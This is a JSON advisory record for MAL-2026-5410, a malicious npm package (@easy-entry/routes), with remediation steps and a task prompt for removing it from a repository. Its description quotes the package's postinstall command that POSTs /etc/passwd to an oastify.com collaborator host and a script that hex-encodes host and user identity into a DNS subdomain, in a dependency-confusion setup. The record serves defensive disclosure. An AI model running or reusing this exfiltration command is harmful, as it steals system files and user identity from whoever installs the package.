{"answers":{"affected":"1 open source package ship an affected version, including @easy-entry/routes.","exploited":"There is no known exploitation of MAL-2026-5410 in the wild and no public exploit code.","fix":"Remove the package from your dependencies and lockfiles, then rotate any secrets on machines where it was installed.","what":"MAL-2026-5410 is a malicious package in @easy-entry/routes, published on 9 Jun 2026."},"fix_prompt":"MAL-2026-5410 is a malicious package: @easy-entry/routes (npm). Every version was published to cause harm.\n\nTask:\n1. Search this repository's dependency manifests and lockfiles for the package, including transitive dependencies.\n2. If it is present, remove it, regenerate the lockfile with the project's package manager, and replace whatever it was used for.\n3. List any CI runners, developer machines or containers that installed it, so their secrets can be rotated.\n4. If the package is not used anywhere, say so and change nothing.\n\nReference: https://insights.sbomify.com/MAL-2026-5410/ (Markdown: https://insights.sbomify.com/MAL-2026-5410/index.md)","id":"MAL-2026-5410","markdown":"https://insights.sbomify.com/MAL-2026-5410/index.md","name":"MAL-2026-5410","record":{"aliases":["GHSA-9gwm-xrv4-c436","GHSA-g9fq-cx25-24m4","SNYK-JS-EASYENTRYROUTES-18758928"],"analysis":null,"analysis_generated_by":null,"assigner":null,"cpe":[],"cvss":{"score":null,"severity":null,"source":null,"vector":null,"version":null},"cwes":[],"description":"On `npm install`, the package's postinstall hook in package.json runs `curl --data '@/etc/passwd' $(hostname).200hj786m7x4kfz1lkr4kmshu80zoqcf.oastify.com`, POSTing the contents of /etc/passwd to an attacker-controlled Burp Collaborator subdomain prefixed with the installer's hostname. The same hook executes scripts/scream3gg.js, which hex-encodes os.hostname(), os.homedir(), and os.userInfo().username and issues an HTTP fetch to `http://\u003chex\u003e.nmd25sur8sjp60lm75dp67e2gtmkaayz.oastify.com`, tunneling installer identity out via subdomain. The package has no legitimate functionality — it ships only the exfil payload. The scoped name `@easy-entry/routes` combined with an absurd `99.9.5` version is a textbook dependency-confusion shape designed to win resolution against an internal-only package of the same name.\n\nAny computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.","ecosystems":["npm"],"exploits":{"exploitdb":null,"first_seen":null,"github_poc":null,"max_poc_stars":null,"metasploit":null,"nuclei":null,"refs":[],"tier":null},"has_fix":false,"headline":"Malicious code in @easy-entry/routes (npm)","id":"MAL-2026-5410","indexable":true,"kev":null,"kind":"malicious","links":{"ecosystem":"npm","product":null,"products":[],"type":null,"year":"2026"},"n_packages":1,"n_references":null,"packages":[{"ecosystem":"npm","fixed":[],"introduced":["0"],"last_affected":[],"package":"@easy-entry/routes","purl":"pkg:npm/%40easy-entry/routes","source":"MAL-2026-5410"}],"products":null,"published":"2026-06-09","related":[],"sources":[{"class":"attribution","licence":"Apache-2.0","name":"OpenSSF Malicious Packages","prefix":"MAL"}],"ssvc":{"automatable":null,"exploitation":null,"technical_impact":null},"state":null,"updated":null,"vendors":null},"summary":null,"url":"https://insights.sbomify.com/MAL-2026-5410/"}